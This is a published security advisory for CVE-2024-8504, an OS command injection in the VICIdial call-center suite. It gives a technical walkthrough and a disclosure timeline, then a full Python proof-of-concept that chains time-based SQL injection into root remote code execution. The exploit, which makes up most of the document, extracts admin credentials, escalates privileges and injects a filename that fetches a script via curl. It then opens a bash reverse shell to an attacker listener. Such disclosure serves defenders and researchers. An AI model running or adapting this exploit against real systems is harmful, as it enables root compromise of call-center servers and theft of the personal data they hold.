Lucene search

K
korelogicJaggar Henry of KoreLogic,KL-001-2024-012
HistorySep 10, 2024 - 12:00 a.m.

VICIdial Authenticated Remote Code Execution

2024-09-1000:00:00
Jaggar Henry of KoreLogic,
korelogic.com
19
vicidial
remote code execution
authentication
gnu/linux
os command injection
cve-2024-8504
agent
mysql
php
shell commands
call center
sql database
perl script
command injection detection

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.003

Percentile

65.6%

  1. Vulnerability Details

    Affected Vendor: VICIdial
    Affected Product: VICIdial
    Affected Version: 2.14-917a
    Platform: GNU/Linux
    CWE Classification: CWE-78: Improper Neutralization of Special
    Elements used in an OS Command
    (‘OS Command Injection’)
    CVE ID: CVE-2024-8504

  2. Vulnerability Description

    An attacker with authenticated access to VICIdial as an “agent”
    can execute arbitrary shell commands as the “root” user. This
    attack can be chained with CVE-2024-8503 to execute arbitrary
    shell commands starting from an unauthenticated perspective.

  3. Technical Description

    VICIdial is an open-source contact center suite, mainly used
    by call centers. The “vicidial.com” website boasts over 14,000
    registered installations. There is a public SVN repository to
    access the source code, as well as an ISO that can be used to
    install the software. The ISO was used in a virtual machine
    for testing purposes.

    Users can be added to specific “groups” that enable them to log
    into the “agent” web client if that group is associated with a
    “campaign”. This web client is for agents to manage inbound
    and outbound phone calls, displaying pertinent information
    regarding the “lead”, such as the personal information of the
    individual on the other end of the call.

    An agent has the ability to record the phone call using the
    “START RECORDING” button. When clicked, an HTTP request is sent
    to the server which is processed by the “manager_send.php”
    PHP script. The “filename” parameter included in the request
    is sanitized with the “preg_replace” PHP function to prevent
    SQL injection, as shown by this snippet:

    if (isset($_GET[“filename”])) {$filename=$_GET[“filename”];}
    elseif (isset($_POST[“filename”])) {$filename=$_POST[“filename”];}

    $filename = preg_replace(“/'|"|\\|;/”,“”,$filename);

    The regular expression used to sanitize this parameter is
    very permissive, only removing single quotes, double quotes,
    backslashes, and semicolons.

    Later in the execution of “manager_send.php”, the “filename”
    variable is added to a SQL database through an “INSERT”
    statement, along with other user-controlled variables such as
    “exten”:

    $stmt=“INSERT INTO vicidial_manager values(‘’,‘’,‘$NOW_TIME’,
    ‘NEW’,‘N’,‘$server_ip’,‘’,‘Originate’,‘$vmgr_callerid’,
    ‘Channel: $channel’,‘Context: $ext_context’,
    ‘Exten: $exten’,‘Priority: $ext_priority’,
    ‘Callerid: $filename’,‘’,‘’,‘’,‘’,‘’);”;
    if ($format==‘debug’) {echo “\n”;}
    $rslt=mysql_to_mysqli($stmt, $link);

    On the server-side, an asyncronous cron job is executing the
    perl script “ADMIN_keepalive_ALL.pl”:

    vicibox11:/ # crontab -l | grep keepalive

    keepalive script for astguiclient processes

            • /usr/share/astguiclient/ADMIN_keepalive_ALL.pl

    This perl script ensures several worker perl scripts
    are running. Included in these worker perl scripts is
    “AST_manager_send.pl”, as shown by this snippet from
    “ADMIN_keepalive_ALL.pl”:

    if ($psline[1] =~ /AST_manager_se/)
    {
    $runningAST_send++;
    if ($DB) {print “AST_send RUNNING: |$psline[1]|\n”;}
    }

    if ( ($AST_send_listen > 0) && ($runningAST_send < 1) )
    {
    if ($DB) {print “starting AST_manager_send…\n”;}

    add a ‘-L’ to the command below to activate logging

    /usr/bin/screen -d -m -S ASTsend $PATHhome/AST_manager_send.pl $debug_string;

    The “AST_manager_send.pl” script will continuously monitor the
    “vicidial_manager” table in the SQL database for records with
    the “status” column equal the string “NEW”. Values from that
    row are then URL-encoded and used as command-line arguments
    to invoke the “AST_send_action_child.pl” perl script:

    while ($endless_loop > 0)
    {
    my $stmtA = “SELECT count(*) from
    vicidial_manager where server_ip = '”
    . $conf{VARserver_ip} . “’ and status = ‘NEW’;”;

    $originate_command .= $vdm->{cmd_line_e} . “\n”
    if ($vdm->{cmd_line_e});
    $originate_command .= $vdm->{cmd_line_f} . “\n”
    if ($vdm->{cmd_line_f});
    $originate_command .= $vdm->{cmd_line_g} . “\n”
    if ($vdm->{cmd_line_g});

    $vdm->{cmd_line_e} =~ s/([^A-Za-z0-9])/sprintf(“%%%02X”, ord($1))/seg;
    $vdm->{cmd_line_f} =~ s/([^A-Za-z0-9])/sprintf(“%%%02X”, ord($1))/seg;
    $vdm->{cmd_line_g} =~ s/([^A-Za-z0-9])/sprintf(“%%%02X”, ord($1))/seg;

    $launch .= " --cmd_line_e=" . $vdm->{cmd_line_e}
    if ($vdm->{cmd_line_e});
    $launch .= " --cmd_line_f=" . $vdm->{cmd_line_f}
    if ($vdm->{cmd_line_f});
    $launch .= " --cmd_line_g=" . $vdm->{cmd_line_g}
    if ($vdm->{cmd_line_g});

    $launch .= " >> " . $conf{PATHlogs} . “/action_send.” . logDate()
    if ($SYSLOG);
    system($launch . ’ &');

    The “AST_send_action_child.pl” will then initiate a telnet
    connection to the “Asterisk Call Manager” and issue various
    commands as they appear in the command-line arguments:

    my $tn = new Net::Telnet (Port => $telnet_port,
    Prompt => ‘/\r\n/’,
    Output_record_separator => ‘’,
    Errmode => “return”);

    $tn->open(“$telnet_host”);
    $tn->waitfor(‘/Asterisk Call Manager//’);

    $originate_command .= $cmd_line_e . “\n” if ($cmd_line_e);
    $originate_command .= $cmd_line_f . “\n” if ($cmd_line_f);
    $originate_command .= $cmd_line_g . “\n” if ($cmd_line_g);

    my @list_channels = $tn->cmd(String => $originate_command,
    Prompt => ‘/.*/’);

    These commands are then processed by the Asterisk
    Management interface (AMI). The configuration file
    “extensions-vicidial.conf” contains useful information on
    how AMI processes the value of the user-controlled “Exten”
    command. The following is a relevant snippet:

    exten => 8309,1,Answer
    exten => 8309,2,Monitor(wav,${CALLERID(name)})
    exten => 8309,3,Wait(3600)
    exten => 8309,4,Hangup()

    When supplying an “Exten” value of “8309”, the “Monitor”
    application is invoked, which will record the current call and
    write the recorded data into a file. The default directory
    is “/var/spool/asterisk/monitor”. In this case, the name
    of the file is derived from the “CALLERID”, which is also
    user-controlled.

    This can be leveraged by an attacker to write file names
    that contain malicious shell commands. Take for example the
    following HTTP request:

    POST /agc/manager_send.php HTTP/1.1
    Host: REDACTED
    Content-Length: 279
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    server_ip=REDACTED&session_name=1716765726_8300defaul17394646&user=korelogic&pass=korelogic&ACTION=MonitorConf&format=text&channel=Local/58600051@default&filename=3133731337$(id>foobar.txt)&exten=8309&ext_context=default&lead_id=&ext_priority=1&FROMvdc=YES&uniqueid=&FROMapi=

    Two files are created within the “/var/spool/asterisk/monitor”
    directory:

    vicibox11:/ # ls -l /var/spool/asterisk/monitor
    total 216
    -rw-r–r-- 1 root root 213164 May 30 05:30
    3133731337$(id>foobar.txt)-in.wav
    -rw-r–r-- 1 root root 44 May 30 05:30
    3133731337$(id>foobar.txt)-out.wav

    Additionally, the “AST_CRON_audio_1_move_VDonly.pl” perl script
    is executed every 3 minutes:

    vicibox11:/ # crontab -l | grep VDonly
    0,3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57 * * * *
    /usr/share/astguiclient/AST_CRON_audio_1_move_VDonly.pl

    This script searches for WAV/GSM files within the Asterisk
    monitor directory and uses the file names to execute several
    shell commands:

    foreach(@FILES)
    {

    $INfile = $FILES[$i];

    if (!$T)
    {
    mv -f "$dir1/$INfile" "$dir2/$ALLfile";
    rm -f "$dir1/$OUTfile";
    }

    The malicious file name is then inserted into the “mv”
    command. The attacker controlled “id” command is executed and
    the output is redirected to the file “foo.txt”:

    vicibox11:/ # ls -l /root/foobar.txt
    -rw-r–r-- 1 root root 39 May 30 05:33 /root/foobar.txt

  4. Mitigation and Remediation Recommendation

    This issue has been remediated in the public svn/trunk codebase,
    as of revision 3848 committed 2024-07-08.

  5. Credit

    This vulnerability was discovered by Jaggar Henry of KoreLogic,
    Inc.

  6. Disclosure Timeline

    2024-07-05 : KoreLogic requests security contact from
    [email protected].
    2024-07-08 : KoreLogic reports vulnerability details to VICIdial
    contact.
    2024-07-08 : VICIdial notifies KoreLogic that the issue has been
    remediated with revision 3848 in the public
    Subversion repository.
    2024-07-11 : KoreLogic confirms this vulnerability has been
    remediated. KoreLogic asks VICIdial if it is
    appropriate to publicly disclose the vulnerability
    details at this time.
    2024-07-11 : VICIdial requests four weeks of embargo in order to
    upgrade supported customers.
    2024-08-05 : KoreLogic asks VICIdial if it is appropriate to
    publicly disclose the vulnerability details at
    this time.
    2024-08-09 : VICIdial requests an additional two weeks of
    embargo.
    2024-09-10 : KoreLogic public disclosure.

  7. Proof of Concept

    Instead of executing the “id” command, a malicious bash script
    can be downloaded and executing using the cURL utility. The following
    file name is an example:

     $([email protected]$IFS-o$IFS.c&&bash$IFS.c)
    

    This issue can be chained with KL-001-2024-011 (unauthenticated SQL injection)
    to execute arbitrary shell commands as the root user from an unauthenticated
    perspective:

    [goon@security exploits]$ python unauth2rce.py -rh 192.168.2.136 -rp 443 -wh 192.168.2.65 -wp 3000 -lh 192.168.2.65 -lp 1337 --bind
    [+] Target appears vulnerable to time-based SQL injection
    [~] Enumerating administrator credentials
    [~] 6
    [~] 66
    [~] 666
    [~] 6666
    [+] Username: 6666
    [~] J
    [~] JA
    [~] JAB
    [~] JAB1
    [~] JAB18
    [~] JAB181
    [~] JAB181M
    [~] JAB181MA
    [~] JAB181MAB
    [~] JAB181MAB1
    [~] JAB181MAB17
    [~] JAB181MAB178
    [~] JAB181MAB178_
    [~] JAB181MAB178_L
    [~] JAB181MAB178_LA
    [~] JAB181MAB178_LAn
    [+] Password: JAB181MAB178_LAn
    [+] Authenticated successfully as user “6666”
    [+] Updated user settings to increase privileges
    [+] Updated system settings
    [+] Created dummy campaign “korelogic_campaign”
    [+] Updated dummy campaign settings
    [+] Created dummy list for campaign
    [+] Found phone credentials: callin:test
    [+] Entered “manager” credentials to override shift enforcement
    [+] Authenticated as agent using phone credentials
    [~] Listening for incoming connections…
    [+] Received cURL request from 192.168.2.136
    Connection from 192.168.2.136:56980
    vicibox11:~ # id
    uid=0(root) gid=0(root) groups=0(root)

    #########################

    unauth2rce.py

    #########################

    import os
    import re
    import socket
    import string
    import random
    import urllib3
    import argparse
    import requests
    import threading
    from base64 import b64encode
    from bs4 import BeautifulSoup

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    class Exploit:
    def init(self, rhost, rport, whost, wport, lhost=None, lport=None, bind=False, proxy=None):
    “”"
    This ‘sleep’ duration is derived by the average response time
    multiplied by this value. A server with an average response time
    of 10ms is given a ‘sleep’ duration of 300ms. Tune as needed.
    “”"
    self.SLEEP_MULTIPLIER = 30

     	self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'}
     	self.ALLOWED_SCHEMES = ['http', 'https']
     	if proxy:
     		self.REQUEST_PROXIES = {
     			'http':  proxy,
     			'https': proxy
     		}
     	else:
     		self.REQUEST_PROXIES = {}		
    
     	self.TARGET_IP   = rhost
     	self.TARGET_PORT = rport
    
     	self.PAYLOAD_WEBSERVER_HOST = whost
     	self.PAYLOAD_WEBSERVER_PORT = wport
    
     	self.REVERSE_SHELL_HOST = lhost
     	self.REVERSE_SHELL_PORT = lport
    
     	self.BIND = bind
    
     	self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!'
     	self.RANDOM_CHARSET = string.ascii_uppercase + string.digits
    
     # returns a URI with 'http' or 'https'
     def determine_target_uri(self):
     	for scheme in self.ALLOWED_SCHEMES:
     		target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}'
     		try:
     			response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)
     			if self.VICIDIAL_FINGERPRINT in response.text:
     				return target_uri
     		except:
     			pass
    
     # returns a session object with custom proxies/headers if supplied
     def build_requests_session(self):
     	self.base_uri = self.determine_target_uri()
     	session = requests.Session()
     	session.proxies = self.REQUEST_PROXIES
     	session.verify  = False
     	return session
    
     # returns a random string of a given length
     def random(self, length):
     	return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))
    
     # returns a timedelta representing the response time of an injected SQL query
     def time_sql_query(self, query, session):
     	username    = f"goolicker', '', ({query}));# "
     	credentials = f'{username}:password'
     	credentials_base64 = b64encode(credentials.encode()).decode()
     	auth_header = f'Basic {credentials_base64}'
    
     	target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php'
     	request_params  = {'function': 'log_custom_report', self.random(5): self.random(5)}
     	request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}
    
     	response = session.get(target_uri, params=request_params, headers=request_headers)
     	return response.elapsed
    
     # returns a boolean if time-based SQL injection is possible, additionally
     # sets the best 'sleep' duration based on response times
     def is_vulnerable(self, session, baseline_iterations=5):
     	# determine average baseline response time
     	zero_sleep_query = f'SELECT (NULL)'
     	total_baseline_time = 0
     	for _ in range(baseline_iterations):
     		execution_time = self.time_sql_query(zero_sleep_query, session)
     		total_baseline_time += execution_time.total_seconds()
    
     	average_baseline_response_time = total_baseline_time / baseline_iterations
     	self.sql_baseline_time = average_baseline_response_time
    
     	# determine if injected sleep query impacts response time
     	sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)
     	sleep_query  = f'SELECT (sleep({sleep_length}))'
     	execution_time = self.time_sql_query(sleep_query, session)
     	if execution_time.total_seconds() &gt;= sleep_length:
     		self.sql_sleep_length = sleep_length
     		return True
     	else:
     		return False
    
     # determine if a character at a specific indice of a query result returns a
     # boolean 'true' when compared to a given character using the supplied operator
     def check_indice_of_query_result(self, session, query, indice, operator, ordinal):
     	parent_query    = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)'
     	execution_time  = self.time_sql_query(parent_query, session)
     	return execution_time.total_seconds() &gt;= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)
    
     def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable):
     	# convert charset to ordinals
     	all_characters     = sorted([ord(char) for char in charset])
     	reduced_characters = all_characters
    
     	# use a binary search and enumerate query results
     	result = ''
     	indice = 1
     	indice_could_be_null = True
     	while True:
     		"""
     		we check if the value is NULL once per indice
     		to determine when a string ends. this adds one
     		request per indice, but since every boolean 'true'
     		results in a delay this is faster than counting
     		the length of the string before enumrating.
     		"""
     		if indice_could_be_null:
     			if self.check_indice_of_query_result(session, query, indice, '=', '0'):
     				break
     			else:
     				indice_could_be_null = False
    
     		# enumerate each character of query result with a binary search
     		middle_indice  = len(reduced_characters) // 2
     		middle_ordinal = reduced_characters[middle_indice]
     		if self.check_indice_of_query_result(session, query, indice, '&lt;=', middle_ordinal):
     			if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal):
     				reduced_characters = all_characters
     				result += chr(middle_ordinal)
     				indice += 1
     				indice_could_be_null = True
     				print(f'[~] {result}')
     			else:
     				reduced_characters = reduced_characters[:middle_indice]
     		else:
     			reduced_characters = reduced_characters[middle_indice:]
     	
     	return result
    
     def poison_recording_files(self, session, username, password):
     	# authenticate using administrator credentials
     	credentials = f'{username}:{password}'
     	credentials_base64 = b64encode(credentials.encode()).decode()
     	auth_header = f'Basic {credentials_base64}'
    
     	target_uri = f'{self.base_uri}/vicidial/admin.php'
     	request_params  = {'ADD': '3', 'user': username}
     	request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}
    
     	response = session.get(target_uri, params=request_params, headers=request_headers)
     	if response.status_code == 200:
     		print(f'[+] Authenticated successfully as user "{username}"')
     	else:
     		print('[-] Failed to authenticate with credentials. Maybe hashing is enabled?')
     		return
    
     	# update user settings to increase privileges beyond default administrator
     	user_settings_body = {
     		"ADD":"4A","custom_fields_modify":"0","user":username,"DB":"0","pass":password,
     		"force_change_password":"N","full_name":"KoreLogic","user_level":"9",
     		"user_group":"ADMIN","phone_login":"KoreLogic","phone_pass":"KoreLogic",
     		"active":"Y","voicemail_id":"","email":"","mobile_number":"","user_code":"",
     		"user_location":"","user_group_two":"","territory":"","user_nickname":"",
     		"user_new_lead_limit":"-1","agent_choose_ingroups":"1","agent_choose_blended":"1",
     		"hotkeys_active":"0","scheduled_callbacks":"1","agentonly_callbacks":"0",
     		"next_dial_my_callbacks":"NOT_ACTIVE","agentcall_manual":"0","manual_dial_filter":"DISABLED",
     		"agentcall_email":"0","agentcall_chat":"0","vicidial_recording":"1","vicidial_transfers":"1",
     		"closer_default_blended":"0","user_choose_language":"0","selected_language":"default+English",
     		"vicidial_recording_override":"DISABLED","mute_recordings":"DISABLED",
     		"alter_custdata_override":"NOT_ACTIVE","alter_custphone_override":"NOT_ACTIVE",
     		"agent_shift_enforcement_override":"ALL","agent_call_log_view_override":"Y",
     		"hide_call_log_info":"Y","agent_lead_search":"NOT_ACTIVE","lead_filter_id":"NONE",
     		"user_hide_realtime":"0","allow_alerts":"0","preset_contact_search":"NOT_ACTIVE",
     		"max_inbound_calls":"0","max_inbound_filter_enabled":"0","max_inbound_filter_min_sec":"-1",
     		"inbound_credits":"-1","max_hopper_calls":"0","max_hopper_calls_hour":"0",
     		"wrapup_seconds_override":"-1","ready_max_logout":"-1","status_group_id":"",
     		"campaign_js_rank_select":"","campaign_js_grade_select":"","ingroup_js_rank_select":"",
     		"ingroup_js_grade_select":"","RANK_AGENTDIRECT":"0","GRADE_AGENTDIRECT":"10",
     		"LIMIT_AGENTDIRECT":"-1","WEB_AGENTDIRECT":"","RANK_AGENTDIRECT_CHAT":"0",
     		"GRADE_AGENTDIRECT_CHAT":"10","LIMIT_AGENTDIRECT_CHAT":"-1","WEB_AGENTDIRECT_CHAT":"",
     		"custom_one":"","custom_two":"","custom_three":"","custom_four":"","custom_five":"",
     		"qc_enabled":"0","qc_user_level":"1","qc_pass":"0","qc_finish":"0","qc_commit":"0",
     		"hci_enabled":"0","realtime_block_user_info":"0","admin_hide_lead_data":"0",
     		"admin_hide_phone_data":"0","ignore_group_on_search":"0","user_admin_redirect_url":"",
     		"view_reports":"1","access_recordings":"0","alter_agent_interface_options":"1",
     		"modify_users":"1","change_agent_campaign":"1","delete_users":"1","modify_usergroups":"1",
     		"delete_user_groups":"1","modify_lists":"1","delete_lists":"1","load_leads":"1",
     		"modify_leads":"1","export_gdpr_leads":"0","download_lists":"1","export_reports":"1",
     		"delete_from_dnc":"1","modify_campaigns":"1","campaign_detail":"1","modify_dial_prefix":"1",
     		"delete_campaigns":"1","modify_ingroups":"1","delete_ingroups":"1","modify_inbound_dids":"1",
     		"delete_inbound_dids":"1","modify_custom_dialplans":"1","modify_remoteagents":"1",
     		"delete_remote_agents":"1","modify_scripts":"1","delete_scripts":"1","modify_filters":"1",
     		"delete_filters":"1","ast_admin_access":"1","ast_delete_phones":"1","modify_call_times":"1",
     		"delete_call_times":"1","modify_servers":"1","modify_shifts":"1","modify_phones":"1",
     		"modify_carriers":"1","modify_email_accounts":"0","modify_labels":"1","modify_colors":"1",
     		"modify_languages":"0","modify_statuses":"1","modify_voicemail":"1","modify_audiostore":"1",
     		"modify_moh":"1","modify_tts":"1","modify_contacts":"1","callcard_admin":"1",
     		"modify_auto_reports":"0","add_timeclock_log":"1","modify_timeclock_log":"1",
     		"delete_timeclock_log":"1","manager_shift_enforcement_override":"1","pause_code_approval":"1",
     		"admin_cf_show_hidden":"0","modify_ip_lists":"0","ignore_ip_list":"0",
     		"two_factor_override":"NOT_ACTIVE","vdc_agent_api_access":"1","api_list_restrict":"0",
     		"api_allowed_functions%5B%5D":"ALL_FUNCTIONS","api_only_user":"0","modify_same_user_level":"1",
     		"download_invalid_files":"1","alter_admin_interface_options":"1","SUBMIT":"SUBMIT"
     	}
     	response = session.post(target_uri, headers=request_headers, data=user_settings_body)
     	print('[+] Updated user settings to increase privileges')
    
     	# update system settings without clobbering existing configuration
     	response = session.get(target_uri, headers=request_headers, params={'ADD':'311111111111111'})
     	soup = BeautifulSoup(response.text, 'html.parser')
     	form_tag = soup.find('form')
     	system_settings_body = {}
     	for input_tag in form_tag.find_all('input'):
     		setting_name  = input_tag['name']
     		setting_value = input_tag['value']
     		system_settings_body[setting_name] = setting_value
    
     	for select_tag in form_tag.find_all('select'):
     		setting_name = select_tag['name']
     		selected_tag = select_tag.find('option', selected=True)
     		if not selected_tag:
     			continue
     		setting_value = selected_tag.text
     		system_settings_body[setting_name] = setting_value
    
     	system_settings_body['outbound_autodial_active'] = '0'
     	response = session.post(target_uri, headers=request_headers, data=system_settings_body)
     	print('[+] Updated system settings')
    
     	# create dummy campaign
     	campaign_settings_body = {
     		"ADD":"21","park_ext":"","campaign_id":"313373","campaign_name":"korelogic_campaign",
     		"campaign_description":"","user_group":"---ALL---","active":"Y","park_file_name":"",
     		"web_form_address":"","allow_closers":"Y","hopper_level":"1","auto_dial_level":"0",
     		"next_agent_call":"random","local_call_time":"12pm-5pm","voicemail_ext":"","script_id":"",
     		"get_call_launch":"NONE","SUBMIT":"SUBMIT"
     	}
     	response = session.post(target_uri, headers=request_headers, data=campaign_settings_body)
     	print('[+] Created dummy campaign "korelogic_campaign"')
    
     	# update dummy campaign
     	update_campaign_body = {	
     		"ADD":"41","campaign_id":"313373","old_campaign_allow_inbound":"Y",
     		"campaign_name":"korelogic_campaign","active":"Y","dial_status":"","lead_order":"DOWN",
     		"list_order_mix":"DISABLED","lead_filter_id":"NONE", "no_hopper_leads_logins":"Y",
     		"hopper_level":"1","reset_hopper":"N","dial_method":"RATIO","auto_dial_level":"1",
     		"adaptive_intensity":"0","SUBMIT":"SUBMIT","form_end":"END"
     	}
     	response = session.post(target_uri, headers=request_headers, data=update_campaign_body)
     	print('[+] Updated dummy campaign settings')
    
     	# create dummy list
     	list_settings_body = {
     		"ADD":"211","list_id":"313374","list_name":"korelogic_list","list_description":"",
     		"campaign_id":"313373","active":"Y","SUBMIT":"SUBMIT"
     	}
     	response = session.post(target_uri, headers=request_headers, data=list_settings_body)
     	print('[+] Created dummy list for campaign')
    
     	# fetch credentials for a phone login
     	response = session.get(target_uri, headers=request_headers, params={'ADD':'10000000000'})
     	soup = BeautifulSoup(response.text, 'html.parser')
     	phone_uri_path = soup.find('a', string='MODIFY')['href']
    
     	response = session.get(f'{self.base_uri}{phone_uri_path}', headers=request_headers)
     	soup = BeautifulSoup(response.text, 'html.parser')
     	phone_extension     = soup.find('input', {'name': 'extension'})['value']
     	phone_password      = soup.find('input', {'name': 'pass'})['value']
     	recording_extension = soup.find('input', {'name': 'recording_exten'})['value']
     	print(f'[+] Found phone credentials: {phone_extension}:{phone_password}')
    
     	# authenticate to agent portal with phone credentials
     	manager_login_body = {
     		"DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","phone_login":phone_extension,
     		"phone_pass":phone_password,"LOGINvarONE":"","LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"",
     		"LOGINvarFIVE":"","hide_relogin_fields":"","VD_login":username,"VD_pass":password,
     		"MGR_override":"1","relogin":"YES","VD_login":username,"VD_pass":password,
     		"MGR_login20240530":username,"MGR_pass20240530":password,"SUBMIT":"SUBMIT"
     	}
     	response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=manager_login_body)
     	print(f'[+] Entered "manager" credentials to override shift enforcement')
    
     	agent_login_body = {
     		"DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","admin_test":"","LOGINvarONE":"",
     		"LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"","LOGINvarFIVE":"","phone_login":phone_extension,
     		"phone_pass":phone_password,"VD_login":username,"VD_pass":password,"VD_campaign":"313373",
     	}
     	response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=agent_login_body)
     	print(f'[+] Authenticated as agent using phone credentials')
    
     	# insert malicious recording
     	session_name = re.findall(r"var session_name = '([a-zA-Z0-9_]+?)';", response.text)[0]
     	session_id   = re.findall(r"var session_id = '([0-9]+?)';", response.text)[0]
     	malicious_filename = f"3133731337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&&bash$IFS.c)"
     	record1_body = {
     		"server_ip":self.TARGET_IP,"session_name":session_name,"user":username,"pass":password,
     		"ACTION":"MonitorConf","format":"text","channel":f"Local/{recording_extension}@default","filename":malicious_filename,
     		"exten":recording_extension,"ext_context":"default","lead_id":"","ext_priority":"1","FROMvdc":"YES",
     		"uniqueid":"","FROMapi":""
     	}
     	response = session.post(f'{self.base_uri}/agc/manager_send.php', headers=request_headers, data=record1_body)
     	recording_id = re.findall(r'RecorDing_ID: ([0-9]+)', response.text)[0]
    
     	# stop malicious recording to prevent file size from growing
     	record2_body = {
     		"server_ip":self.TARGET_IP,"session_name":session_name,"user":username,
     		"pass":password,"ACTION":"StopMonitorConf","format":"text","channel":f"Local/{recording_extension}@default",
     		"filename":f"ID:{recording_id}","exten":session_id,"ext_context":"default","lead_id":"","ext_priority":"1",
     		"FROMvdc":"YES","uniqueid":"","FROMapi":""
     	}
     	response = session.post(f'{self.base_uri}/agc/conf_exten_check.php', headers=request_headers, data=record2_body)
    
     # returns administrator username and password by
     # exploiting time-based SQL injection.
     def extract_admin_credentials(self, session):
     	print('[~] Enumerating administrator credentials')
     	username_charset = string.ascii_letters + string.digits
     	admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1"
     	admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)
     	print(f'[+] Username: {admin_username}')
    
     	password_charset = string.ascii_letters + string.digits + '-.+/=_'
     	admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1"
     	admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)
     	print(f'[+] Password: {admin_password}')
    
     	return admin_username, admin_password
    
     # emulates a webserver to deliver exploit script
     def payload_webserver(self):
     	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     	server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
     	server.bind((self.PAYLOAD_WEBSERVER_HOST, int(self.PAYLOAD_WEBSERVER_PORT)))
     	server.listen(1)
    
     	while True:
     		client, incoming_address = server.accept()
     		message = client.recv(100)
     		if b'User-Agent: curl' in message:
     			break
     		else:
     			client.close()
    
     	print(f'[+] Received cURL request from {incoming_address[0]}')
     	exploit_script = f"#!/bin/bash\nbash -i &gt;& /dev/tcp/{self.REVERSE_SHELL_HOST}/{self.REVERSE_SHELL_PORT} 0&gt;&1"
     	http_response  = f"HTTP/1.1 200 OK\r\n"
     	http_response += f"Content-Length: {len(exploit_script)}\r\n\r\n"
     	http_response += exploit_script
     	client.sendall(http_response.encode())
     	client.close()
    
     # starts a netcat process to catch the incoming reverse shell
     def netcat_listener(self):
     	os.system(f'nc -nlvs {self.REVERSE_SHELL_HOST} -p {self.REVERSE_SHELL_PORT}')
    
     # binds to provided addresses and handles incoming connections
     def prepare_listeners(self):
     	webserver = threading.Thread(target=self.payload_webserver)
     	netcat    = threading.Thread(target=self.netcat_listener)
     	print('[~] Listening for incoming connections...')
     	netcat.start()
     	webserver.start()
     	
    
     # establish a reverse shell as root from the vicidial instance
     def shell(self):
     	session = self.build_requests_session()
     	is_vulnerable = self.is_vulnerable(session)
     	if is_vulnerable:
     		print('[+] Target appears vulnerable to time-based SQL injection')
     	else:
     		print('[-] Failed to perform time-based SQL injection')
     		return
    
     	username, password = self.extract_admin_credentials(session)
     	self.poison_recording_files(session, username, password)
    
     	# prepare exploit listeners if configured
     	if self.BIND: self.prepare_listeners()
    

    if name == ‘main’:
    argparser = argparse.ArgumentParser(description=‘Exploit for CVE-2024-XXXXX: Unauthenticated SQLi to RCE as root’)
    required = argparser.add_argument_group(‘Required Arguments’)
    optional = argparser.add_argument_group(‘Optional Arguments’)
    required.add_argument(‘-rh’, ‘–rhost’, required=True, help=‘Vicidial Server IP address’)
    required.add_argument(‘-rp’, ‘–rport’, required=True, help=‘Vicidial Server port number’)
    required.add_argument(‘-wh’, ‘–whost’, required=True, help=‘Malicious webserver IP address’)
    required.add_argument(‘-wp’, ‘–wport’, required=True, help=‘Malicious webserver port number’)
    required.add_argument(‘-lh’, ‘–lhost’, required=False, help=‘Reverse shell listener IP address’)
    required.add_argument(‘-lp’, ‘–lport’, required=False, help=‘Reverse shell listener port number’)
    optional.add_argument(‘-b’, ‘–bind’, required=False, help=‘Bind to [lhost:lport] and [whost:wport] and handle connections automatically’, action=‘store_true’, default=False)
    optional.add_argument(‘-p’, ‘–proxy’, required=False, help=‘HTTP[S] proxy to use for outbound requests’, default=None)
    arguments = argparser.parse_args()

     exploit = Exploit(
     	rhost = arguments.rhost,
     	rport = arguments.rport,
     	whost = arguments.whost,
     	wport = arguments.wport,
     	lhost = arguments.lhost,
     	lport = arguments.lport,
     	bind  = arguments.bind,
     	proxy = arguments.proxy
     )
     exploit.shell()
    

Affected configurations

Vulners
Node
vicidialvicidialMatch2.14-917
VendorProductVersionCPE
vicidialvicidial2.14-917cpe:2.3:a:vicidial:vicidial:2.14-917:*:*:*:*:*:*:*

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.003

Percentile

65.6%